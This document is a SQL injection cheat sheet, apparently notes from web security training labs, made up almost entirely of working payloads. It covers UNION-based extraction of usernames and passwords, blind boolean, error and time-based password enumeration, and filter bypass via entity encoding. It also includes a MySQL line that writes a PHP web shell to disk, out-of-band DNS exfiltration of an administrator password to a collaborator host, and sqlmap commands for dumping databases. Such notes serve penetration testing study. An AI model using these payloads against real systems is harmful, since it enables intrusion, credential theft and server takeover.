SQL Injection

Resources:


Detection & Testing

Goal: Find injection location and determine the actual SQL query structure.

Test possible injection locations:

'
' --
' OR 1=1
' OR 1=1; -- -
'UNION SELECT * FROM users WHERE 1=1; -- -

Note: -- comments out everything after it. Example:

  • username=administrator'--'&password=password123
  • Underlying query: SELECT x FROM y WHERE username = 'administrator' AND password = 'password123'
  • With injection: comments out the password check, logs in as administrator regardless

Subverting Application Logic

Original query: SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

  • Change user to admin'-- to end the query early and skip the password check

Retrieving Hidden Data

Original query: SELECT * FROM products WHERE category = 'Gifts' AND released = 1

GET /filter?category=gifts → GET /filter?category='+OR+1=1-- HTTP/2

UNION-Based Injection

UNION SELECT queries an additional table alongside the intended one.

Requirements:

  • Individual queries must return the same number of columns
  • Data types in each column must be compatible

Step 1: Determine Number of Columns

Method 1 (ORDER BY):

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- error here means 2 columns

Method 2 (UNION SELECT NULL):

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
-- NULL is convertible to every data type

Method 3 (simple ORDER BY):

$validQuery ORDER BY 1
$validQuery ORDER BY 2
-- increment until error

Step 2: Identify String Columns

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
-- etc. until you find the string-compatible column

Step 3: Extract Data

Database version:

UNION ALL SELECT 1, 2, @@version          -- MySQL/MSSQL
SELECT * FROM v$version                    -- Oracle
SELECT version()                           -- PostgreSQL

Current user and tables:

UNION ALL SELECT 1, 2, user()
UNION ALL SELECT 1, 2, table_name FROM information_schema.tables
UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'
UNION ALL SELECT 1, username, password FROM users

Retrieving multiple values in a single column (Oracle):

' UNION SELECT username || '~' || password FROM users--

Step 4: File Read / Write (MySQL)

UNION ALL SELECT 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
UNION ALL SELECT 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE 'c:/xampp/htdocs/backdoor.php'
-- Test with: $Host/backdoor.php?cmd=$cmd

Information Schema Enumeration

SELECT table_name FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = '$tablename'

GET /filter?category=%27+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
GET /filter?category=%27+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_urcpzb'--
GET /filter?category=%27+UNION+SELECT+username_ktursq,+password_zhuttt+FROM+users_urcpzb--

Oracle-specific: requires FROM dual in every SELECT:

'+UNION+SELECT+'a',+'a'+FROM+dual--
SELECT banner FROM v$version
'+UNION+SELECT+banner,+'a'+FROM+v$version--

Blind SQLi

Application behaves differently based on whether a condition is true or false (no visible output).

Boolean-Based Blind

-- Confirm true/false difference
TrackingId=xyz' AND '1'='1    -- true
TrackingId=xyz' AND '1'='2    -- false

-- Confirm table exists
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

-- Confirm user exists
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

-- Enumerate password length
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
-- increment until false

-- Enumerate password characters
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
-- Use Burp Intruder Cluster Bomb: $1 = position, $2 = character
-- Filter for "Welcome back" (or whatever indicates true)

Full example cookie format:

Cookie: TrackingId=7xoi8QZmDdgTeeS0' AND (SELECT SUBSTRING(password,$1,1) FROM users WHERE username='administrator')='$2

Error-Based Blind

Induce application to return an error only when a condition is true.

-- CASE-based error trigger (generic)
TrackingId=7xoi8QZmDdgTeeS0' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a   -- error
TrackingId=7xoi8QZmDdgTeeS0' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a   -- no error

-- Enumerate password via error
TrackingId=7xoi8QZmDdgTeeS0' AND (SELECT CASE WHEN (Username='Administrator' AND SUBSTRING(Password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM Users)='a

Oracle error-based:

-- Confirm Oracle (dual table)
TrackingId=BswXnzkEYSSXEdIZ'||(SELECT '' FROM dual)||'
-- Confirm users table
TrackingId=BswXnzkEYSSXEdIZ'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
-- Boolean via error
TrackingId=BswXnzkEYSSXEdIZ'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
-- Enumerate
TrackingId=BswXnzkEYSSXEdIZ'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
TrackingId=BswXnzkEYSSXEdIZ'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

CAST-based error extraction (PostgreSQL):

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
-- Error reveals value: ERROR: invalid input syntax for type integer: "administrator"
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

Use CAST() to change data types: CAST((SELECT example_column FROM example_table) AS int)

Time-Based Blind

Check for time delay instead of error or different response.

MSSQL:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
'; IF (SELECT COUNT(Username) FROM Users WHERE Username='Administrator' AND SUBSTRING(Password,1,1)>'m') = 1 WAITFOR DELAY '0:0:{delay}'--

PostgreSQL:

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

-- Simple test
TrackingId=x'||pg_sleep(10)--

Out-of-Band (OAST)

Trigger DNS lookups to an attacker-controlled server (useful when no in-band feedback).

MSSQL DNS lookup:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Exfiltrate data via DNS (MSSQL):

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Oracle OAST:

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://BURPCOLLABORATOR/">%remote;]>'),'/l')+FROM+dual--

Filter Bypass Techniques

XML Encoding

Use HTML/XML entity encoding to obfuscate SQL keywords:

&#x53;ELECT  instead of  SELECT

Decoded server-side before being passed to SQL interpreter.

Full example (XML body injection):

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
    <productId>1</productId>
    <storeId>
        1 <@dec_entities>
            UNION SELECT username || '~' || password FROM users WHERE username = 'administrator'
        </@dec_entities>
    </storeId>
</stockCheck>

Note: dec_entities is a Hackvertor Burp extension: Extensions > Hackvertor > Encode > dec_entities


Database-Specific Notes

Database Version Query Comment Style Notes
MySQL SELECT @@version -- (space required) or #  
MSSQL SELECT @@version --  
Oracle SELECT * FROM v$version -- All SELECTs need FROM; use dual as dummy table; ROWNUM = 1 for LIMIT
PostgreSQL SELECT version() -- Use pg_sleep() for time-based

Tools

sqlmap

# Basic scan
sqlmap -u "http://target.com/page?id=1"

# With POST data
sqlmap -u "http://target.com/login" --data="user=test&pass=test"

# Dump database
sqlmap -u "http://target.com/page?id=1" --dump

# Specify database
sqlmap -u "http://target.com/page?id=1" -D dbname --tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T tablename --dump

# Burp request file
sqlmap -r request.txt